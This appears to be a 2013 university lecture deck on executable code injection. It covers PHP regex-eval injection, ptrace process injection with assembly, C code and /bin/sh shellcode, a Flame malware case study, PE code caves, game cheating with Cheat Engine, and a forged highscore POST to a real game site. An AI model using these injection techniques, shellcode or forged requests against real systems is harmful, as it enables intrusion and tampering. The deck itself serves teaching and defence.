Executable
Code Injection

PaulNechifor

ValentinSchipor

Faculty of Computer Science

29 November 2013

Agenda

  1. Overview
  2. PHP regex eval
  3. Linux Process Trace
  4. PE Code Injection
  5. Hacking 3D Space Pinball
  6. Node.js Debugger Attachment
  7. Bonus
  8. Comparisons

Overview

Code Injection

  • We define it very broadly as: inserting new code into another system.
  • Types:
    • SQL injection (already covered)
    • command injection (already covered)
    • executable code injection
      • binary
      • interpreted

Harvard architecture

  • Instruction and data storage are completly separate.
  • Binary code injection is impossible.

Executable Space Protection

  • Marking memory regions as non-executable in order to protect against errors and attacks.
  • The Burroughs 5000 machine in 1961 was the first to have hardware support. It marked every word as either code or data.
  • Current CPUs use the NX bit.
    • A bit associaded with a page in the page table specifying if the page can be executed from.

Positive uses

The methods by which exploits are caried out often had or have valid uses. Some examples would be:

  • eval
  • debugging live code
  • aspect-oriented programming

eval

  • Many languages allow the on-the-fly compilation / interpretation / execution of code from a string.
  • Somewhat related is the read–eval–print loop (REPL).

Debugging live code

  • Such tools need to be able to inspect, control and modify any code.
  • Examples:
    • the ptrace system call in Unixes
    • attaching a debugger to a nodejs process by sending the USR1 signal.

Aspect-oriented programming

  • Increasing modularity by separating cross-cutting concerns.
  • For example, AspectJ can modify Java bytecode.
pointcut all() : call (* * (..)) && !within(Profiler) &&
        !within(MessageStatistics);

before() : all() {
    ...
    String sig = thisJoinPoint.getSignature().toString();
    Call mcall = calls.get(sig);
    if (mcall == null) {
        mcall = new Call();
        calls.put(sig, mcall);
    }
    mcall.calls++;
    mcall.startCall = System.nanoTime();
}

Cases

PHP regex eval

  • PHP provides the e modifier which interprets the replacing string.
$str = preg_replace(
    '(<strong>(.*?)</strong>)e',
    '"<strong>" . strtoupper("$1") . "</strong>"',
    $str
);

(Sidenote: regexes for HTML are a horrible idea. This is just a toy example.)

Intended use:

$str = 'I care <strong>a lot</strong>!';

Becomes:

'I care <strong>A LOT</strong>!';

Problem (example execution of arbritary code):

$str = '<strong>{${phpinfo()}}</strong>';

Solution

Never use the e modifier. Use callbacks instead.

$str = preg_replace_callback(
    '(<strong>(.*?)</strong>)',
    function ($match) {
        return "<strong>" . strtoupper($match[1]) . "</strong>";
    },
    $str
);

Example exploit: phpMyAdmin

  • Affects sersions 3.5.x and 4.0.0 (before -rc3).
  • Exploit source: phpmyadmin_preg_replace.rb.
  • Guilty line:
    $newtablename = preg_replace(
            "/^" . $from_prefix . "/",
            $to_prefix, $current);
  • If
    $from_prefix
    ends with
    "/e\x00"
    , the last
    "/"
    isn't the one which ends the regex.

Linux Process Trace

ptrace

  • A Unix system call that first appeared in V7 (1979).
  • Used to gain complete control over another, usually for debugging. This includes:
    • stopping and restarting the process
    • reading and writing all the registers
    • reading and writing to all available memory (regardless of permission flags)
    • intercepting and changing system calls
    • single-step through code, etc
  • Listing the memory mapped regions:
    /proc/<pid>/maps
    .

Protection

  • Newer Linux distributions only allow attaching to child processes.
  • Enable attaching to arbitrary processes in Ubuntu with:
    echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope
  • Mac OS X adds an option to disable tracing certain processes in order to protect its DRM schemes.

Example Injection

  • The source code is at
    github.com/paul-nechifor/ss/tree/master/02/code/ptrace
  • The host program is written in assembly based on A Whirlwind Tutorial in order to create a very small ELF executable for easy analysis.
  • It's executable memory starts at 0x08048000 (binary file program origin) and is 0x1000 bytes long.
  • The assembled file is 186 bytes long so there's plenty of room (no need to allocate more memory).
  • It just prints “Ping...” followed by “ pong.” with 1 second pauses.

host.asm

  • Assembled with
    nasm -f bin -o host host.asm
    .
BITS 32
  
                org     0x08048000
  
ehdr:                                                   ; Elf32_Ehdr
                db      0x7F, "ELF", 1, 1, 1, 0         ;   e_ident
        times 8 db      0
                dw      2                               ;   e_type
                dw      3                               ;   e_machine
                dd      1                               ;   e_version
                dd      _start                          ;   e_entry
                dd      phdr - $$                       ;   e_phoff
                dd      0                               ;   e_shoff
                dd      0                               ;   e_flags
                dw      ehdrsize                        ;   e_ehsize
                dw      phdrsize                        ;   e_phentsize
                dw      1                               ;   e_phnum
                dw      0                               ;   e_shentsize
                dw      0                               ;   e_shnum
                dw      0                               ;   e_shstrndx
  
ehdrsize equ $ - ehdr
  
phdr:                                                   ; Elf32_Phdr
                dd      1                               ;   p_type
                dd      0                               ;   p_offset
                dd      $$                              ;   p_vaddr
                dd      $$                              ;   p_paddr
                dd      filesize                        ;   p_filesz
                dd      filesize                        ;   p_memsz
                dd      5                               ;   p_flags
                dd      0x1000                          ;   p_align
  
phdrsize      equ     $ - phdr

; Constants --------------------------------------------------------------------

sys_exit                equ     1
sys_write               equ     4
sys_nanosleep           equ     162

exit_success            equ     0
stdout                  equ     1

; Structures -------------------------------------------------------------------

struc   timespec
    sec:     resd    1
    nsec:    resd    1
endstruc

; Data -------------------------------------------------------------------------

ping:
    db 'Ping...'
ping_end:

pong:
    db ' pong.', 10
pong_end:

sleep_delay:
    istruc timespec
        at sec, dd 1
        at nsec, dd 0
    iend


; Main -------------------------------------------------------------------------

_start:

write_again:
    ; Write ping.
    mov eax, sys_write
    mov ebx, stdout
    mov ecx, ping
    mov edx, ping_end-ping
    int 0x80
    
    ; Sleep for a while.
    mov eax, sys_nanosleep
    mov ebx, sleep_delay
    mov ecx, 0                  ; Abandon remaining time on interrupts.
    int 0x80
    
    ; Write pong.
    mov eax, sys_write
    mov ebx, stdout
    mov ecx, pong
    mov edx, pong_end-pong
    int 0x80
    
    ; Sleep for a while.
    mov eax, sys_nanosleep
    mov ebx, sleep_delay
    mov ecx, 0                  ; Abandon remaining time on interrupts.
    int 0x80
    
    jmp write_again

filesize      equ     $ - $$
  • Very simple memory mapping (
    cat /proc/`pgrep host`/maps
    ):
08048000-08049000 r-xp 00000000 08:05 852736  /home/p/fac/ss/ongit/02/code/ptrace/host
f776b000-f776c000 r-xp 00000000 00:00 0       [vdso]
ffcef000-ffd10000 rwxp 00000000 00:00 0       [stack]

inject.c

  • These are just snippets of the code.
// The first argument is the PID of the process to control.
pid_t pid = atoi(argv[1]);
// The second argument is the point of injection in that process.
int inject_point = strtol(argv[2], NULL, 16);
// Attach to the process (it stops).
ptrace(PTRACE_ATTACH, pid, NULL, NULL);
// Wait for process to stop.
waitpid(pid, NULL, WUNTRACED);
// Change it somehow.
trace_proc(...);
// Detach so that the process can continue.
ptrace(PTRACE_DETACH, pid, NULL, NULL);

inject.c

// Read the injection from STDIN.
read_stdin_to_buf(buf, sizeof(buf), &total);
// Place it at the injection point.
put_data(pid, inject_point, buf, total);
// Get the registers.
ptrace(PTRACE_GETREGS, pid, NULL, &regs);
// Clean up some registers.
regs.eax = regs.ebx = regs.ecx = regs.edx = 0;
// Change the instruction pointer to the injection entry point.
regs.eip = inject_point;
// Set the new register values.
ptrace(PTRACE_SETREGS, pid, NULL, &regs);

First Injection

  • Prints “BOOM!!! ” with 1 second pauses.
  • Doesn't contain ELF headers, just the instructions and data.
  • Entry point is at 0 offset (instructions are first) so that the same value can be reused
  • Starts at 0x08048200 (+0x200 offset).
  • The assembled file is 57 bytes.

injection.asm

  • Assembled with
    nasm -f bin -o injection injection.asm
    .
BITS 32
  
org     0x08048200

write_again:
    ; Write boom.
    mov eax, sys_write
    mov ebx, stdout
    mov ecx, boom
    mov edx, boom_end-boom
    int 0x80
    
    ; Sleep for a while.
    mov eax, sys_nanosleep
    mov ebx, sleep_delay
    mov ecx, 0                  ; Abandon remaining time on interrupts.
    int 0x80
    
    jmp write_again

; Constants --------------------------------------------------------------------

sys_exit                equ     1
sys_write               equ     4
sys_nanosleep           equ     162

exit_success            equ     0
stdout                  equ     1

; Structures -------------------------------------------------------------------

struc   timespec
    sec:     resd    1
    nsec:    resd    1
endstruc

; Data -------------------------------------------------------------------------

boom:
    db 'BOOM!!! '
boom_end:

sleep_delay:
    istruc timespec
        at sec, dd 1
        at nsec, dd 0
    iend

Example output

Terminal 1

[p@morker]$ ./host
Ping... pong.
Ping... pong.
Ping... pong.
Ping...BOOM!!! BOOM!!! BOOM!!! BOOM!!! BOOM!!! BOOM!!! BOOM!!!
BOOM!!! BOOM!!! BOOM!!! BOOM!!! BOOM!!! BOOM!!! BOOM!!! BOOM!!!
BOOM!!! BOOM!!! BOOM!!! BOOM!!! BOOM!!!

Terminal 2

[p@morker]$ ./inject `pgrep host` 08048200 < injection

Second Injection: Shellcode

The binary has 30 bytes and it can easily be improved.

BITS 32
org     0x08048200
    mov eax, 11 ; execve
    mov ebx, binsh
    mov ecx, 0
    mov edx, 0
    int 0x80
binsh:
    db '/bin/sh', 0

Case study: Flame

  • This example is for the Windows equivalent of process injection.
  • What is Flame?
    • complex malware used for cyber espionage
    • discovered in 2012, active for 5–8 years
    • gathers intelligence from keyboard, screen, microphone, storage devices, network, Wi-Fi, Bluetooth, USB and system processes
    • CrySyS Lab: “arguably, it is the most complex malware ever found”

Startup

  • The main module is mssecmgr.ocx and it executes at startup by different methods with DDEnumCallback as the entry point. Example:
    rundll32.exe c:\windows\system32\mssecmgr.ocx,DDEnumCallback
  • Flame doesn't use normal driver and library functions to load code (such as ZwCreateSection() and LoadLibrary()).
  • It allocates memory, marks it with READ, WRITE, EXECUTE flags and writes code to it (uses VirtualAllocEx() and WriteProcessMemory()).

Example injection listing

winlogon.exe with injected code working with ccalc32.sys
(procmon output from the CrySyS Lab report)

0 fltmgr.sys fltmgr.sys + 0x1888 0xf83f0888 C:\WINDOWS\System32\Drivers\fltmgr.sys 
1 fltmgr.sys fltmgr.sys + 0x31a7 0xf83f21a7 C:\WINDOWS\System32\Drivers\fltmgr.sys 
2 fltmgr.sys fltmgr.sys + 0xfc7a 0xf83fec7a C:\WINDOWS\System32\Drivers\fltmgr.sys 
3 ntkrnlpa.exe ntkrnlpa.exe + 0xac124 0x80583124 C:\WINDOWS\system32\ntkrnlpa.exe 
4 ntkrnlpa.exe ntkrnlpa.exe + 0xe8488 0x805bf488 C:\WINDOWS\system32\ntkrnlpa.exe 
5 ntkrnlpa.exe ntkrnlpa.exe + 0xe4a14 0x805bba14 C:\WINDOWS\system32\ntkrnlpa.exe 
6 ntkrnlpa.exe ntkrnlpa.exe + 0x9ffeb 0x80576feb C:\WINDOWS\system32\ntkrnlpa.exe 
7 ntkrnlpa.exe ntkrnlpa.exe + 0x6a67c 0x8054167c C:\WINDOWS\system32\ntkrnlpa.exe 
8 <unknown> 0x1f2a333 0x1f2a333 
9 <unknown> 0x1f1ed9c 0x1f1ed9c 
10 <unknown> 0x1f1128b 0x1f1128b 
11 <unknown> 0x1f1c900 0x1f1c900

Chain of infection

  • Trimmed example from the CrySyS Lab report:
    services.exe loads advnetcfg.ocx
    services.exe loads nteps32.ocx from mssecmgr.ocx
    winlogon.exe also loads nteps32.ocx
    explorer.exe starts 5 iexplore processes
    services.exe writes ccalc32.sys and winlogon.exe loads it
    services.exe loads boot32drv.sys
  • Propagates code through chains which involve as many as 4 processes.

Evading Detection

  • Actions by a foreign executable are suspicious. It's better to open a trusted app and inject code into it.
  • For example, SpyEye injects code into explorer.exe to connect to a web site. But this is suspicious.
  • Flame injects code into iexplorer.exe to connect to windowsupdate.microsoft.com to first test the connection.

PE Code Injection

  • Portable Executable (PE) is the executable format for most Windows files (exe, dll, et al).
  • Method: replacing/inserting machine code with own logic in existent binary.
  • Used for:
    • cracking games
    • distributing spyware
    • patching system components in order to disable security
    • modifying code with lost source code :)

Protection

  • Options:
    • Obfuscation, using a packing procedure that:
      • alters file structures
      • encrypts and compresses file sections
      • injects code to unpack
    • fingerprinting
    • license enforcement (calling the police)
    • address space layout randomization
  • Bad parts: performance downgrade.

PE Injection Example

Opening a message box at begining of a program using OllyDbg.

Pseudo assembly:

origin:
    jmp code_cave
intact_origin:
...
my_str:
db "The text"
code_cave:
    push 0        ; Dialog type (0 = with an 'OK' button).
    push my_str   ; Dialog title (same as message).
    push my_str   ; Dialog message.
    push 0        ; Owning window (0 = none);
    call user32.MessageBoxA
restored_origin:
    <starts like origin>
    jmp intact origin

Hacking 3D Space Pinball

  • Using assembly code and reverse engineering techniques, rewriting some subroutines
  • Inserting code at runtime provides exploiting opportunities.
  • This is the way cracks, cheats, trainers are created.
  • It applies to a broad field of apps, starting with utilities up to graphic intensive application/ video postproduction app, games. Most of exploits are done by reverse engineering and runtime stack code injection/modification.

Getting some points on pinball to scan the addresses. Opening the process of the app with Cheat-engine 6.

Scanning for the address that stores the score: 14500.

Let’s find what write to this address.

Putting a breakpoint on this address and disassembling.

This is the instruction that changes game score
[eax] has a pointer value
move [eax]ecx takes the value from ecx and write it to the eax register

Selected area is the function that operates the score.

Let’s find out who’s calling this function.

Full stack view (bottom-right corner).

Where the score function is called, the score argument is passed.

ASM code injection before the function call.

ASM code injection before the function call.

ASM code injection before the function call.

Creating a subroutine, allocating some memory and putting the instructions there.

Writing our code before that code executes, changing the outcome of it. Dividing the score by 100

Injecting the code.

Injecting the code.

Running the modified game.

Every points scored are divided by 100.

Node.js Debugger Attachment

Node.js Debugger Attachment

  • Signal a node process to enter debug mode (if it wasn't started):
    kill -s USR1 pid
  • Attach the debugger client to that process (5858 is the default port):
    node debug localhost:5858
  • Break at a certain line (1234 here) and enter the REPL.
    setBreakpoint('app.js', 1234)
    repl
  • The program can be altered in everyway from that context.

Bonus: Easy Hijacking

  • Modern browsers come with a JavaScript REPL and other tools which make it easy to analyze and inject code into pages.
  • Web developers often leave exposed variables.
  • Easier than writing a custom client for a page.

Example: creating fake highscores

  • Using the Chrome DevTools it's easy to see that Massacre Street (a tower defense game) sets the hightscores simply by POSTing a JSON to a URL.
  • One can easily load jQuery and post an artificial highscore:
    $.post('http://playtowerdefensegames.com/' +
            'highscores/submit/play4scores.php',
            {game_id:1159, score:999999, user_id:'My name'});
  • If you think the same-origin policy prevents this, you would be wrong.

General Prevention

It's generaly hard to prevent on owned machines since debugging tools are necessary.

  • Sanitize inputs.
  • Escape dangerous characters.
  • Runtime image hash validation.
  • RX bit

Conclusions

  • The most dangerous injection type as compared to the rest.
  • Impact: Very severe since anything can be executed (depending on the permissions).
  • The gaming industry loses billions of dollars every year because of gaming cracking.

Sources

Resources

Questions?